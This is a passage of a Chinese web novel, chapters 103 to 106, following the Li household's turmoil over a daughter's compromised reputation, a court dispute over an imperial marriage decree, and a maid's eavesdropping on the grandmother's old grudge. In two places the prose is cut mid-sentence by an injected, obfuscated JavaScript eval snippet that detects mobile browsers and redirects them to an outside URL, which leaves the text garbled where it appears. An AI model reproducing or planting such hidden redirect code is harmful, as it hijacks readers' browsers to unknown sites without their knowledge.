而后她突然冷下脸来,轻声说,“可仁儿再不济,我也看不上李家那个二姑娘做他正经娘子。备马,我去宫里和陛下、太后商量一下。” 第一百零三章 偷听 李家也闹得厉害。 婉蓉哭着回家,孙萍直接带着他们去了李珺书房。 李珺正教两个儿子读书,崔妙人侍候笔墨,正是温情缱绻的时候,见到众人,惊讶地问:“怎地了,好好地过节,出门踏青,怎地一个个都这个样子?” “老爷……”孙大娘子憋了一路,见到李珺立刻落泪,把事儿三言两语说完,就跪下流泪说,“老爷,是我的不是,我看护孩子不力,竟出了这等大事!” 说完,孙大娘子磕头在地上,已经只有哀哀哭声,仿佛哀莫大于心死。 李珺呆愣之中,婉淑也“咚”的一声跪在地上,哭着说:“爹!今儿个的事情与母亲绝无干系!太子良娣与太子在场,叫大家一起去游玩,母亲在山上与众位夫人说话,我们年轻人自己下山玩耍,我一路都与姐妹一起,是二姐姐私下与刘仁走散,而后才出了事情!” 她含泪说完,又说了自己马上去找赵白芷救命的事情,又指着关怀素说:“大姐姐当时在陪着良娣喝茶,大姐姐知道!女儿若有一丝隐瞒,任凭父亲处置!” 李珺茫然地看向关怀素,关怀素点了点头,说:“婉淑妹妹所言非虚。” 李珺这会子,终于慢慢反应过来发生了什么事情。 他瞪着眼睛,转眼去看哭得快昏死过去的婉蓉。 婉蓉早知道自己今儿只怕不好了,这会子哪里敢想别的,父亲一看过来,她立刻露出哭的红肿的眼睛,“咚”的一声跪在地上,抽噎着说:“父亲,是我鲁莽,瞧着山谷里这时候竟还有长寿花,便想采一束给祖母得个好意图……今儿确实是蓉儿粗心大意,在山谷中我也喊他快些去叫人,不必管我,哪怕是死蓉儿也没想着有辱门楣……可是他竟冲过来要背我,我的脚不能动,无力阻止……” 说到这里,婉蓉便伸出右腿给李珺看她脚上那边,动起来十分古怪,肿起变形,瞧着果然是扭伤了。 她说到这里,只哭着说:“是蓉儿的错,蓉儿也不知要如何分辨,若父亲觉得蓉儿丢人,便、便叫我出家做个姑子吧!” 说到这里,婉蓉伏地大哭,肝肠寸断。 “珺郎,你没事吧?”崔妙人看李珺瞪大眼睛,竟像是死鱼一般,叫她心中不安,斟酌着开口。 李珺闭了闭眼睛,而后绕过书桌,走过去扶起孙大娘子,说:“你处置得很好,能当场离开,不堕李家风骨,得此贤妻夫复何求?” 又起身扶起婉淑,慈爱地说:“你知道马上去求良娣主持大局,好歹先稳住众人悠悠之口,帮扶姐妹,维持家里口碑,如此友爱姐妹,父亲又有何怪罪的道理?” 他这么说完,孙大娘子和婉淑虽在擦泪,但是神色登时缓和。 而后李珺看向地上跪着的婉蓉,脸色复杂,良久只说了一句:“我原来最疼你,偏没想到把你养成了这个性子,到头来瞧着反而是害了你。” 他这话说的阴晴不定,婉蓉表面上痛哭,心中紧张的几欲作呕。 “父亲……”辰文看不下去姐姐如此可怜,便上前一步,轻声唤最疼自己的父亲。 “你闭嘴!”他不开口还好,他一开口,一直压着情绪的李珺登时崩了,抓起桌上的茶宠就是一下,小厮唬的上前去拦,没拦住,那茶宠从李辰文额角边上擦过去,当场出了血。 “我的儿!”崔妙人吓了一跳,哭嚎一声,立刻便上前抱着李辰文仔细检查,看李辰文无事,又把地上的婉蓉拉起来,看婉蓉眼睛肿得桃儿一般,身上衣衫也破了,立时眼泪一串串地就下来了,哭着对李珺说,“珺哥哥,孩子们还小,做错了什么事情,便好好说也罢了,怎么能这么罚,你看看蓉儿这眼睛,还有辰文,都出血了!” “你还护着他们!你是怎么教导孩子的?!”李珺气得都快发疯,指着李辰文说,“两个孩子,一个还不到十五,身边的丫鬟就有孕!出事之后不思悔改,行事还是荒唐轻浮!” 又指着婉蓉:“她一个闺阁女子,与外男行至偏僻路段,不知对方品行,叫人坏了名节,如今还不知怎么收场……这就是你纵宠出来的两个蠢材!” 崔妙人哑口无言,又羞又气,当场落泪。 婉蓉哭嚎一声,作势要昏过去。 “你带着玉儿和淑儿先回屋休息,辰瑜,你也回屋去看书去。”李珺到底想着给西院留些脸面,咬牙开口。 关怀素跟着离开,回到后院。 临回屋之前,孙萍突然拉着关怀素的手,轻叹一声说:“刘仁身份贵重,原是你的福气,没想到倒是教婉蓉给钻了空子。” 关怀素微笑一下,并不作答,只行了礼,立刻告退。 回到屋里,关怀素立刻问丁妈妈:“家里出了什么事情?辰文那事儿都那么久了,老爷怎么突然又发这么大的火?” 丁妈妈没说话,里头屋里宁双双掀开帘子,得意地笑着说:“我跟老爷告的密!” 关怀素瞪大眼睛。 宁小娘得意一笑,拉着关怀素进门,笑着说:“你还不知道,昨儿个下午,青黛哭着来后院找你,那时候你不在,我便问了发生何事,这才知道老夫人安排青黛给文哥儿送东西,差点被他欺负了!” 关怀素一惊,忙问:“没出大事吧?” 宁小娘摇摇头,压低声音说:“没大事,就是给占了点便宜,我想着之前见她娘老子私下来你屋子,你又让小荷帮着青黛躲事儿,想着你应是想照拂她们的,便已经要了她先来我屋里伺候,别在家里被糟践了。” 关怀素一听,心中佩服宁小娘经历事情之后,敏锐太多,立刻郑重拱手说:“多谢小娘!” 宁小娘一笑,说:“多大事儿,我还没多谢姑娘教我读书识字,让我懂了许多道理,这不,你爹答应给我点实在东西傍身,就是那账本子我不会看,又要劳烦大姑娘了。” “这事儿好办,反正我如今也不用上课了,日后小娘得空,我回家你就带账本过来,我手把手教你。”关怀素便笑着,爽快地答应了。 宁小娘也十分喜悦,二人又说了一会子闲话,宁小娘这才回屋去了。 关怀素立刻吩咐丁妈妈,说:“去把那对红色的绢花拿去给青黛,就说青黛这回受委屈了,让她们不用担心,妈妈你这两日就告假回去,给青黛看个好人家,到秋日之前赶紧嫁出去。” 丁妈妈立刻出去,没一会儿回来,轻声说:“孔妈妈听到姑娘的话,哭了一场,刚才把青黛的行李送去对面之后,跟我赌咒发誓,说定不叫姑娘失望。” 关怀素点点头,轻声说:“老夫人做事太绝,先前还答应孔妈妈不管青黛的婚事,真真是不把下人当人看。” 她感慨完,沉默摇摇头,而后眼神锐利,轻声说:“这等心狠手辣、为达目的不择手段的人,绝不是第一次如此行径。” 这次,就看孔妈妈和王妈妈联手,能找到什么端倪了。 老天啊,我家族世代教化百姓、行善积德,您可否大发慈悲,为我指导一条明路? 关怀素抬头看月亮,心中暗想:“老天,求求您,若关家这些年的德行您看在眼里,就为我指一条明路,告知我母亲的死到底是为何吧。” 月光沉默地普照大地,同时也照在了李家正院,孔妈妈正鬼祟地躲在屏风夹缝的墙里,紧张地偷听着。 外面,李珺正愤怒地对母亲大吼:“母亲,您在说什么胡话?我的女儿怎能做妾?攀附权贵的名声传出去,儿子日后有何颜面去面对朝堂同僚?!” “那好歹也是侯爷,如今又是出了事,难道你真要看着婉蓉出嫁当姑子去?!”老夫**吼出声,而后扶着脑袋往后一倒,重重跌坐在榻上。 “娘!”李珺唬了一跳,立刻上前扶住老夫人,紧张地问,“娘,你没事吧?” “儿啊,妙人一辈子,心里眼里就一个你,你看在这个份上,也不能叫婉蓉没了去处啊!”老夫人握住李珺的手,老眼昏花里含了泪水。 看李珺犹豫,老夫人咬牙,轻声说:“你可知道,当初关家那女人进门之前,妙人早怀了你的孩儿?” 李珺震惊抬头,老夫人颔首,轻声说:“妙人这个傻孩子,怕我们为难,谁都没说,只自己吃了药,流不掉,竟是自己咬着帕子撞了桌角……若不是同屋的丫头回去看到,只怕那日她也就没了。” 老夫人看着李珺,沉声说:“妙人这孩子,哪怕偶尔愚钝了些,但是她对这个家,从来都是一片真心,你绝不可负她,也不要叫她的孩儿可怜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367292|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “母亲、母亲、我、我……”李珺听到此事,大为震撼,眼圈发红,嗫喏一下,他轻声说,“可是我的女儿若是为妾,我日后只怕要成为满朝笑柄了,我的仕途日后也危险了啊!” 老夫人登时急了,说:“那侯府我们攀附不上,原先说的孙家呢?我出面去说说蓉儿是为了我的叮嘱才摔的,能否与原来的姻亲说和一下?” 母子二人激动之中,李福突然进门,说:“老爷,王相那边来人。” 李珺一愣,问:“这时候来,是老师有什么朝中大事找我商议吗?” “那管家说是来送贺礼的,说是庆贺府上有喜事。”李福恭敬回答,“其他都没说。” 闻言,老夫人也不再拦着李珺,只让他去前面见客。 李珺匆匆走了,换老夫人闭着眼睛,沉默地躺着。 崔妙人和陈妈妈没一会儿进来了,崔妙人去给老夫人按头,陈妈妈给老夫人按脚。 两人按了一会儿,老夫人才吐出一口浊气来,挥了挥手,坐了起来。 “辛苦老祖宗,为了蓉儿的事情,累着您了……”崔妙人含泪跪在地上说。 “蓉儿这丫头,行事虽然莽撞,但是那又如何?”老夫人恨声说,“如此,刚好误打误撞,总比那女人的种当了侯夫人好!” 这里头的恨意,与孔妈妈上回偷听到的一模一样。 谁家老夫人会如此恨家里的儿媳?这实在是古怪得可怕。 孔妈妈心里想着,心惊肉跳地继续听,就听到崔妙人说:“也是,我们都不知道那居然是大长公主的二郎君,若真叫大娘子撮合成功,日后大丫头可就是板上钉钉的侯爷呢!” “她敢!”老夫人脸上戾气横生,恨声说,“她那样的,我能让她长大,就算我慈悲了!” “是啊,舅老爷若是还在,如今算着也三十多了,正是好时候呢。”陈妈妈眼圈微红,轻声说。 老夫人一把拉住陈妈妈,拍了拍她的手,说:“这些年,苦了你了,好在满娘如今过得好,我心里也稍微安慰一些。” 孔妈妈正听得莫名其妙,就听崔妙人轻声说:“是啊,当初若是关娘子愿意帮忙,大爷还在世呢!都是一家子骨肉,偏她心狠。” “是啊,什么欺男霸女,不过是他胡闹了一下,那乡下人想不开自己上吊了。”陈妈妈叹息,说,“判了流放让他们照顾一下,偏把舅老爷照顾的人没了,好狠的心!” 二人一搭一唱,说的老夫人老泪纵横,恨声说:“我就这一个弟弟,被关氏那个贱妇害死,我怎能容她!” 说到这里,孔妈妈太过惊恐,竟不自觉推动了一下屏风。 “谁?!”屋里三人立刻警惕。 孔妈妈吓得半死的时候,外头却传来王妈妈的声音,大声说:“老夫人,西院说王相送了贺仪,给婉蓉姑娘添妆,里面有些进宫的宫纱适合您,崔小娘想着给您连夜送来。” 老夫人登时精神大振,大喜抚掌说:“好!好!此事看着能成!” 又叫快些送进来看看,一叠声夸:“还是妙人和婉蓉知道惦记我,你看,有了好东西马上就想着我。” 周围都是奉承声音。 孔妈妈透过缝隙,便看到王妈妈进来了,果然带来很多好东西。 老夫人最喜这些,看了一遍,愈发欢喜,叫二人搀扶着进屋,亲自去收捡起来。 “你们都快进去,给老夫人出些主意,这夏日衣裳如何做好看。”王妈妈笑着把几个婆子都撺掇进去。 而后外头只剩下她一个人,王妈妈朝着屏风这边看了一眼,快步走过来,说:“好姐姐,还不快些出来!” 孔妈妈连忙出来,全身都是汗水,已经湿透。 “老姐姐,你也太冲动,今日若不是我发现你不在屋里,想着方才你伺候一直没出来才想办法来救你,我看你晚上怎么办!”王妈妈说着,立刻说,“快些回屋去换身衣服吧!” 孔妈妈点头,一额头的冷汗,也顾不得客套,连忙出去,回到屋里,孔妈妈坐下就连着喝了两碗茶水。 而后,孔妈妈从怀里摸出一把钥匙,眼中神色晦暗不明。 她犹豫了很久,最终还是把钥匙踹在了兜里,眼神坚毅。 第一百零四章 风雨欲来 下人的暗中云谲波诡,目前没有一个人注意到。 李珺正在待客,一个穿着圆领滚金钱领的中年人进门,李珺立刻站起来拱手行礼,笑着招呼:“竟是多管家亲至,蓬荜生辉啊!” 那多管家笑呵呵的还礼,口称“不敢”,也不坐下,只又行礼,笑着说:“我们大人听说了李大人家里有喜事,特叫我带了贺礼!” “这……何喜之有啊?”李珺茫然地问,多管家笑了笑,说,“府上二姑娘端庄大方、侍奉长辈尽心尽力,已经传遍京师,众人称道,听说长公主的幼子才回京,竟就救了为祖母贺寿采长寿花而落入险境的二姑娘……一个至纯至孝、一个风度翩翩,这可不是一桩天造地设的好姻缘?” 李珺一听,登时急了,连声说:“这都是误会……” 话没说完,被多管家拦住,笑着说:“哎,李大人不必谦虚,你看,王相已经叫我带来了贺礼。” 说话之中,立刻便有小厮捧着贺礼进门,打开一看,竟是许多昂贵珠宝首饰与布料。 “王相说,李大人在这桩婚事之中,若有任何苦恼,都可随时去找他,他一定帮忙。”多管家笑着,在说到王相与苦恼时,格外加重了语气。 李珺混乱成一团的脑子,在多管家几次连续提醒之中,终于反应过来了。 他大惊,但是面上却立刻拱手,对多管家说:“若真是如此,还请管家带个话,那我明儿便要厚颜上门了。” 多管家就等着这句话,知道他明白了,便笑着点头,放下礼物便离开了。 多管家离开,李珺咬牙沉默许久,站起身,想写字逼自己冷静下来。 写了几个字,墨水一抖,李珺气得一把将笔丢在地上! 满地狼藉的墨迹之中,李珺沉默地站着,胸脯剧烈起伏,像一头压抑自己的猛兽。 良久良久,李珺平静下来,他冷声开口:“李福!” 李福进门来,垂着眼皮,像是没看到屋里的狼藉一般,李珺吩咐:“叫人把多管家送来的贺礼全给西院搬去,全给婉蓉作为添妆。” 李福惊了一下,愕然说:“全部吗?” “全部。”李珺冷笑一声,说,“她不就是想要富贵吗?如今全给她,就当全了我和她这场父女之情。” 这话说的森冷,李福不敢随便接话,赔笑说:“二姑娘年幼,这孩子有时候不就是仗着父母宠爱,所以才任性了些么?” 李珺听到这句话,脸上的冷意稍微下去些,他叹了口气,露出疲惫之色,轻声说:“她以为这是什么好路……罢了,她日后就知道了,西院以后的事情不用再来回我了。” 李福应下,心中震惊。 他跟了李珺多年,知道李珺能说这句话,便是西院已经把李珺的情分用完了。 可是他不明白,婉蓉这件事情瞧着虽大胆了些,但是何至于把李珺的情分全部磨干的程度? 虽然心中惊讶,李福可不敢问,带着礼物就往西院而去。 西院崔小娘正把婉蓉骂的流泪,听说王相居然遣人送了礼物,登时笑了,婉蓉也笑了,二人欢喜地接了东西,欢天喜地送李福离开。 李福瞧样子,就知道这母女二人定然以为此事过去了,老爷已经消气了。 摇摇头,李福转身离开。 日子还长着呢,等她们自己慢慢回过味儿来吧。 那头崔妙人母女以为打了胜仗,欢天喜地叫人送东西给老夫人,又选了一些给李辰文这个亲兄弟。 其他的婉蓉便全部收起来,一晚上点着烛火清点下来,真正是喜不自禁。 东院的烛火也没灭,婉淑还在母亲的屋里,没一会儿扶芳掀帘子进来,皱眉说:“娘子,王相送来了礼物,老爷叫全送去西院了。” “真的?”孙萍惊愕地站起身,失色说,“王相为何会管我们家里的事情?为何给婉蓉撑腰?” 这话说完,婉淑面色大变,急声说:“娘,若是二姐姐真的要嫁那刘仁,日后她岂不是成了侯夫人……” 孙萍哪有空管婉淑的小女儿心思,她皱眉不解地走来走去,轻声说:“这是何理啊?” 说话之间,方婆子提着食盒进来,笑着说:“娘子要的芙蓉粥好了,我瞧了,今儿个炖的火候极好……” “别拿出来了!”孙萍闻言,当机立断,说,“拿上,去看看老爷。” 众人愣了一下,孙萍已经起身,对婉淑说:“你回屋去歇着,我去看看你父亲。” 说完也不管婉淑,孙萍便往外而去。 到了前院,一进门孙萍就放软了声音,温声说:“今儿郎君一整日都没休憩,听下人说晚上也没来得及用什么,这不,我叫厨房炖了芙蓉粥,好歹用些,别伤了身子。” 李珺听到这关切之语,一下子神色也缓和下来,叹了口气说:“放着吧,我没胃口。” “好歹用几口。”孙萍走过去,关切地说,“今儿个都怪我没看好孩子,若还累得郎君伤了身子,我真是无颜做这个主母了。” 李珺听到这里,长叹口气,说:“哪里是你的事情,哎,我身为纯臣,绝不想与大长公主一系产生关系,可是老师却来道贺,叫我好生为难。” “许是给郎君撑腰呢?”孙萍不懂朝堂上的事情,便只能说。 李珺摇头,轻叹口气,说:“老师一贯与大长公主政见不合,我这回也是看不明白了。也罢,明日我去老师府上问问,再做打算吧。” 孙萍闻言,便知道今儿问不出什么了,她便软下声音劝:“好歹用几口吧……” 正说着话,外头李福进来了,有些欲言又止。 “什么话,说。”李珺正接过碗,见此便说。 “老爷,宁小娘说,今儿个见您夕食都没用,叫厨房备了糟鹅掌和鸡丝面,又备了娘家送来的山货……”李福小心地说,不敢看孙萍的脸色。 李珺把碗放下,对孙萍说:“好了,你也累了一天了,快去休息吧。” 孙萍脸上的笑意垂下来,她咬牙捏住帕子,颔首笑着叮嘱:“那我去休息了,老爷也早些安寝。” 说完,孙萍起身往外走去。 她一路进了院子,却没走,只远远看到李福提着灯笼,一路带着李珺往后院里去了。 “娘子……”扶芳轻声说。 “哼。”孙萍冷冷地说,“崔妙人啊崔妙人,我倒要看看你是不是真的命那么好,能把女儿嫁去做侯夫人!” 李家一夜暗里风起云涌不提,第二日李珺备好礼物,就往王相府上去。 王相瞧着面容清癯,不苟言笑,一见到李珺却哈哈大笑,对李珺说:“子君,大喜啊!” 李珺不明所以,躬身谨慎回答:“老师,不知我何喜 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他刚说完,王相便笑着叫他坐下,对着棋盘下了一子,示意李珺跟上,一边说:“咦,子君何必如此固执,此乃天定良缘,你就成全又何妨?” 李珺下了一子,苦笑一声,说:“老师,我……” “我知道你担心什么。”王相下了一子,温声说,“赵大人家中老人快要不行,瞧着这几个月便要丁忧了,你这些年兢兢业业,也该动一动了。” 李珺闻言,登时震惊,他抬眼,惊愕地看向老师。 赵大人,那是当朝的中书舍人,乃是四品! 这可是一步登阁拜相之路! 李珺心中狂喜,便明白了,老师是在用实际行动告诉他,便是牵扯到此事,只要有老师的支持,也不会影响到他的仕途。 思及此,李珺哪里还有什么不愿? 立刻大喜跪下,对王寻说:“愿听老师安排!” 如此,师徒二人便把事情定下,李珺再回家里,便神色轻松,如沐春风。 关怀素刚好出去,上了周乐天的马车就说:“婉蓉的婚事差不多能定了?” 周乐天闻言,好奇地问:“没有,你为何如此问?” “我看我父亲开始忧惧愤怒,拜访王相之后神色欢喜,王相还派人给婉蓉送添妆,想来就是王相乐于见到婉蓉嫁给刘仁,砍掉大长公主增加助力的又一可能。”关怀素笑了笑,轻声说,“看父亲那样,八成王相还承诺了什么给他的好处,他才能如此。” 周乐天闻言,心中暗暗感慨她的敏锐,颔首说:“王相上书替学生请姻缘,公主这几日频频进宫,并不愿意,刘仁的婚事,近几日只怕还有的斗法。” 关怀素闻言,笑着摇摇头,放下马车帘子,轻声说:“最近要热闹了。” 热闹好,好歹全家各忙各的,倒是给她终于空出了时间,叫她能好好办事。 否则还真是叫她难免左支右绌,麻烦的很。 算算时间,去肇州的人也快回来了,希望能带来好消息,关怀素心想。 不过,她派出去的人还没回来,李家倒是在京师愈发成了热闹中心。 无他,乃是因为李珺出手,为婉蓉当朝求圣人赐婚! 第一百零五章 请陛下赐婚 大朝会上,李珺出列,哽咽长呼:“陛下,臣请陛下救小女一命!” 为婉蓉与刘仁的婚事之争,就此拉开了序幕。 李珺当时这么一开口,满朝文武登时一静。 毕竟李珺家的女儿与刘仁的事情,如今面子上不说,但是已经成了京师所有人私下最关注的事情。 得到准许,李珺痛心疾首连声说:“禀圣人,臣有一女,自幼与祖母亲厚。前几日我母亲身体微恙,自感天不假年,恐时日无多,便要如窗外长寿花一般凋谢。我那女儿侍奉祖母,对此语十分记挂,在山上踏青时见到长寿花开,竟冒险去摘,落入山谷之中!” 李珺飞快说完,眼泪已经滚落下来,哽咽说,“她当日落日险境,遇上一位小郎君,请小郎君叫人来救,那小郎君却不顾我女儿阻拦,竟亲自背她上山谷,我女儿至此名节已毁,她本是一片孝心,却遭此横祸,臣斗胆请陛下做主!” “哦?如此说来,此女确实是孝女。”上首传来圣人声音,轻声问,“爱卿是想让我如何做主啊?” “臣斗胆请陛下赐婚!”李珺立刻回答。 他这么一说,前方立刻传来一句:“荒唐!” “陛下,这算什么事儿,要什么做主?”最前方,回京后每回大朝小朝都跟装饰一般的大长公主出列,拱手冷声说,“以臣之见,此女纯孝,不过是脚滑被人所救,怎会失了名节?你问问这朝堂上多少人家压根就不在意这种事情,不过是一些酸儒规矩罢了,何必扯上天下人。” 这话一出,文官一派脸色都不好看。 李珺更是脸色青黑,但是他知道此刻不是争辩这个的时候,立刻拱手痛哭开口:“陛下,名节对女儿家来说何其重要,我家那女儿自出了这事之后,回家整日以泪洗面,还说为了家中名声,要绞了头发做姑子去……臣千娇百宠养出的女儿,心地纯善,臣身为父亲,如何忍心啊!” 说到这里,李珺伏地大哭,满面泪痕大喊:“请陛下为我做主,给我女儿一条活路!” “李大人何必如此迂腐,你那女儿如此纯孝,相信讲道理的人家只觉得感佩,绝不会有什么别的迂腐想法。”一把年纪的厉老将军仿佛第一次清醒,出列拱手说,“陛下,此等孝女,若她原来议亲的人家不肯娶,老臣家里孙儿多,刚巧老六和李大人家里闺女差不多大,便可做个儿女亲家,我瞧谁敢骂我家孙媳妇!” 厉老将军这么说,满朝武将都在轰然应是,还有性格粗犷的直接说:“李大人,你看,这不就成了,快别哭了,一把年纪的老男人,哭成这样,我家孙女舞剑受伤都不这么哭呢!” 一句话差点把李珺气的厥过去,但是他面上还不敢发作,只哀哀哭泣,拿袖子抹泪,说:“怎可如此,我那女儿是为那小郎君所救,一女不事二夫,既是名节为其所损,怎能另嫁他人!” “陛下,老臣觉得李大人所求十分有理。”武将都在翻白眼,文官却极力支持李珺,双方僵持不下之时,王相出列说,“女子名节,犹如臣子侍君,从来臣不事二主,贞妇亦不嫁二夫,李家姑娘既然是为那小郎君所救,也是天定良缘,臣以为,陛下可赐下婚事,促成这缘分。他日说起来,也是一桩美谈。” “说得好,臣不事二主!”大长公主突然击掌,懒洋洋地说,“王相说得对,只是王相少时出仕,我爹在的时候,您可就是吏部侍郎了,到了陛下继任,您又登阁拜相,如此说来,王相你岂不是个水性杨花的二嫁妇?” 王寻一哽,立刻跪下,对着上首圣人含泪说:“陛下,老臣不过是说句公道话,公主却对臣如此污蔑,求陛下做主!” 上首圣人便微微责备地说:“安国,王相老了,你也稍微体谅下。” “陛下,本来就是,王相和这些酸儒,一个个盯着人家小姑娘品头论足,掉下山谷被人救了还要讲名节,日后他们遭了难,我瞧着可不能叫人救他们,否则他们也算是没名节,就给我在原地等死,看他们愿不愿意!”大长公主拱手,不掩饰锐利之色,说,“先帝在时,与太后战场并肩鏖战,太后手持双锤,在乱军之中三进三出,救父亲于危难,衣衫何止破碎?更是血肉横飞!如今的江山是先帝与太后一起打下来的,怎么,到现在一个小姑娘遇险,破了一点衣衫,便要出家?那大家瞧着,是不是要先把太后和我送去出家啊?我手下女将,是不是也得一起送去?” 她说到这里,冷笑着环视整个金銮殿,对众人冷声说:“尔等心中谋划的,到底是那个小姑娘,还是我武安君,和我手下女兵?” 她本就是战场杀出来的将军,身上威仪极盛,此时只含着三分愤怒,便杀气极盛,竟叫满朝文武都被气势弹压得说不出一句话来。 起码李珺就当场忘词,王相立刻开口:“长公主实在想太多,我们现在讨论的是李家姑娘的事,这姑娘心思纯净,名节被污,若不嫁给这位小郎君,便要出家为尼,我们何必说那么多,只说这件事情便是!” 只一句话,大长公主打乱的节奏登时被王相掰了回来。 厉老将军继续说:“我说了,嫁给我家小六就是!” 众武将再次鼓噪。 眼见着众人吵成一锅粥,李珺跪在中间,反而成了陪衬。 此事最终以圣人宣告要先想一想,再行定夺,择日再议结束。 但所有人都知道,这只是一个开始。 一场角力的开始。 李珺低调行事了半辈子,到了此时,却彻底站在了风口浪尖之上。 李珺心中忧思万千,回家之后,刚脱衣服,崔妙人便来送甜汤。 李珺冷声说:“不用,叫她回屋去,没事不要跑到前头来,没个规矩!” 崔小娘在外头听了个真切,登时像是一桶冷水浇在身上,瞬间透心凉! 她终于才从婉蓉得觅佳婿的喜悦里突然惊醒过来,却一声不敢出,掐着姜妈妈的手,一路悄没声息地回了院子。 进屋崔妙人就脚软,跌坐在榻上,惊恐万分地说:“怎么办,婉蓉此事竟如此麻烦么?竟叫郎君连我都厌弃了!” “怎会如此!”姜妈妈不敢置信,说,“何至于此,小娘是否想多了?” “不可能!”崔妙人咬住牙齿,说,“珺哥哥的性子我最清楚,他定然是怀疑我支使婉蓉,不成,不成,我得想办法!我得想办法!” 她说着,焦急在屋子里走动,仿佛困兽一般。 另一边,关怀素也得了消息。 “父亲下朝面色不好,崔小娘还被训斥了?”关怀素听完,立刻对丁妈妈说:“妈妈,去,拿姨母送我的那块青色的布,就宫里赏的那块,我们去给父亲送礼。” 丁妈妈愣了一下,马上拿了出来。 关怀素带人匆匆去前院,李珺正一脸烦闷在喝酒。 喝得正晕乎,见关怀素进门,瞬间竟像是见到了故人。 李珺吓得手一抖,脸色一白! 关怀素眯了眯眼睛,勾起唇角喊一声:“父亲!” 李珺这才猛地一愣,擦了擦眼睛,说:“是婉玉啊!” 关怀素垂眸,温声说:“是我,父亲喝醉了,我给父亲泡茶解酒吧。” 说着,她便坐下来烹茶。 女儿熟练地用茶具泡茶,举手投足之中都是大家风范,滚水冲开茶香,让疲惫的李珺心中一震,待到茶汤入杯,闻着香气袅袅,再喝一口,先苦后甘,唇齿留香,李珺登时只觉得心怀一畅,连呼:“好,这茶好!” 他脑子清楚一些,又看向关怀素:“你们姐妹三人一起跟着良娣求学,我瞧着你却是学得最好的。” 关怀素笑着应了一声,才温声说:“能叫父亲稍微开心些,也不枉费女儿学了这么一遭了。” 她这么说完,李珺登时就愣了一下,而后苦笑,说:“婉蓉若能有你一半懂事,也不至于叫我如此烦忧。” 关怀素立刻笑着说:“父亲原来是为了这个苦恼,这算什么大事?” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373991|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珺摇头失笑,说:“你不懂,此事牵涉甚多……” 关怀素假作率真,说:“父亲您不就是想促成此事,又怕拉锯久了牵扯出其他风波?那还不简单,何不叫人把二妹妹送去流云台寺,准备落发出家。” 李珺一愣,立刻摇头,说:“不可。” 说完却脑子一愣,突然又觉得,此事是个极好的办法! 虽然老师如此安排,但是李珺也有自己秘而不宣的顾虑,他怕此事牵扯到底,最终还是不成。 大长公主可不是好攀扯的,到时候他舍身给女儿求名分还不成,才真正是满京师的笑话。 而且此事牵涉甚广,中途斗起法来,李家很容易成为风暴之中第一个被牵扯到的。 就李珺私心来说,他并不愿意此事再闹大,那不啻于把他放在火上烤。 女儿此话说得虽然天真,但是确实越想越是个极好的办法——此事若是成了,不过是牺牲一个女儿,出家还能叫他治家严格的名声传出去,更有清流之德。 若是不成,那就是大长公主到底不敢背上逼臣女出家的名声,他的态度摆出去了,还能把女儿的事情快速定了,怎么想都是个进退得宜的好办法! 李珺越想越是能成,禁不住喜上眉梢,越看越觉得这个大女儿真正是他的福星,高兴地问:“你这么晚了,来找我有什么事情?可是看上哪家钗环或是漂亮衣裳?不要担心,只管告诉父亲!” 关怀素一笑,拿出布料,说:“是方才想着天气愈发暖和了,要做夏日的新衣裳,找到这块布料,觉得实在是适合父亲,便想着拿来给父亲。” 李珺一看,上头是提花墨竹的料子,正是今年江苏进贡的贡品,青色最为文人尊崇,这块料子放外面去,真正是钱都买不到的好东西,这一看就是大长公主或是百福县主那边给她的体己。 他心中动容至极,眼圈微红,说:“你是个孝顺的孩子。” “婉玉只得这一个父亲,不好好孝敬您,又孝敬谁呢?”关怀素也眼圈一红,笑着说。 父女二**为感动,又说了一会儿话,关怀素才道辞离开。 她走后,李珺对李福说:“叫大娘子别疑神疑鬼的,整日怀疑这个怀疑那个,婉玉是个孝顺孩子,别没事疑心她的身份,伤了她的心。” 李福点头,恭敬地说:“是呢,上回闹得那么大,大姑娘也没生气,可见是个纯孝的。” 他们在那边说话,李珺许多暗藏的疑窦自觉豁然解开,关怀素回了院子,却哪里看得出眼圈发红的迹象? 柳叶轻声问:“姑娘今日怎地还帮着给西院出主意?该叫老爷继续烦心她们才是呢!” 关怀素开心一笑,说:“我可不想婉蓉真的当上侯夫人,所以这不是推一把,叫她当个没名没分的,我才开心。不然她如此待我,难道还真叫她过好日子?” “哦?姑娘的意思是?”柳叶登时眼睛一亮,丁妈妈也是一脸好奇。 关怀素回屋脱了外裳,喝了口茶才说:“大长公主性子刚烈,吃软不吃硬,现在刘仁理亏,她还想着斡旋,若是圣人在中间说和,殿下说不定真认了此事,只是一定要缓慢行事。可是若是直接以势相逼,殿下绝对不会接受,否则殿下的脸面往哪里搁?” “这、这老爷看不出来吗?想清楚了,老爷会不会怪姑娘乱出主意?”丁妈妈不解地问。 关怀素摇头,轻笑一声,说:“不会。我这父亲,要的是自己的安稳,还有自己的名声,你别看他不许婉蓉做妾,可是真说起来,比起做侯夫人,说不得婉蓉做小,对他来说最合适。” 毕竟妾室又不算正经亲戚,那就算不得李家与大长公主有正经姻亲,这样舍弃一个女儿,李珺日后站位等等也不怕被怀疑。 柳叶深以为然,丁妈妈却不那么相信,只觉得未必如此。 结果第二天关怀素一睁眼,便是丁妈妈震惊地进来,说:“姑娘真是神算,前头闹起来了,老爷要送二姑娘出家呢!” 第一百零六章 